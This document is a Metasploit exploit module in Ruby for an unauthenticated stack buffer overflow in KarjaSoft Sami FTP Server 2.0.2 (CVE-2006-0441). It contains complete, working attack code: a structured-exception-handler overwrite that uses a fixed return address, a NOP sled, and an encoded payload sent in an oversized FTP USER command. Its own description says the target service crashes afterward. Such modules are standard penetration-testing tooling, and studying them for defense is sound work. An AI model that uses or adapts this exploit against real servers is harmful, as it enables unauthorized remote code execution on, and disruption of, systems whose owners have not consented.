Brendan Coles
133 lines
3.8 KiB
Ruby
133 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'KarjaSoft Sami FTP Server v2.0.2 USER Overflow',
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'Description' => %q{
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This module exploits an unauthenticated stack buffer overflow in
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KarjaSoft Sami FTP Server version 2.0.2 by sending an overly long
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USER string during login.
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The payload is triggered when the administrator opens the application
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GUI. If the GUI window is open at the time of exploitation, the
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payload will be executed immediately. Keep this in mind when selecting
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payloads. The application will crash following execution of the
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payload and will not restart automatically.
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When the application is restarted, it will re-execute the payload
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unless the payload has been manually removed from the SamiFTP.binlog
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log file.
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This module has been tested successfully on Sami FTP Server versions:
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2.0.2 on Windows XP SP0 (x86);
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2.0.2 on Windows 7 SP1 (x86);
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2.0.2 on Windows 7 SP1 (x64); and
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2.0.2 on Windows 10 (1909) (x64).
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},
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'Author' => [
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'Muhammad Ahmed Siddiqui', # Discovery
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'Critical Security', # Perl exploit
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'n30m1nd', # Python exploit - SEH overwrite with 2.0.2 universal tmp01.dll p/p/r
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'aushack', # Metasploit
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'bcoles' # Metasploit
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],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# This vulnerability appears to have been reported multiple times.
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['CVE', '2006-0441'],
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['CVE', '2006-2212'],
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['OSVDB', '25670'],
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['BID', '16370'],
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['BID', '22045'],
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['BID', '17835'],
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['EDB', '1448'],
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['EDB', '1452'],
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['EDB', '1462'],
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['EDB', '3127'],
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['EDB', '3140'],
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['EDB', '40675']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh'
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},
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'Platform' => ['win'],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x0a\x0d\x20\xff",
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'EncoderType' => Msf::Encoder::Type::AlphanumMixed
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},
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'Targets' =>
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[
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['Sami FTP Server version 2.0.2', { 'Ret' => 0x10022ADE }], # p/p/r tmp01.dll
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],
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'Notes' => {
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'Stability' => [ CRASH_SERVICE_DOWN ]
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},
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'DisclosureDate' => '2006-01-24'
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)
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)
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register_options([
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Opt::RPORT(21)
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])
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end
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def check
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connect
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banner = sock.get_once(-1, 3)
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disconnect
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unless banner.include?('Sami FTP Server')
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return CheckCode::Safe('Target is not Sami FTP Server')
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end
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if banner.include?('Sami FTP Server 2.0.2')
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return CheckCode::Appears('Sami FTP Server version 2.0.2.')
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end
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CheckCode::Detected
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end
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def exploit
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connect
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nseh = "\xeb\x06"
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nseh << rand_text_alpha(2)
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seh = [target.ret].pack('V')
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user = rand_text_alpha(596)
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user << nseh
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user << seh
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user << "\x90" * 10
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user << payload.encoded
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user << "\x90" * (800 - payload.encoded.length)
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print_status("Sending payload (#{user.length} bytes) ...")
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sock.put("USER #{user}\r\n")
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sock.recv(4096)
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sock.put("PASS #{Rex::Text.rand_char(payload_badchars)}\r\n")
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sock.recv(4096)
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handler
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disconnect
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end
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end
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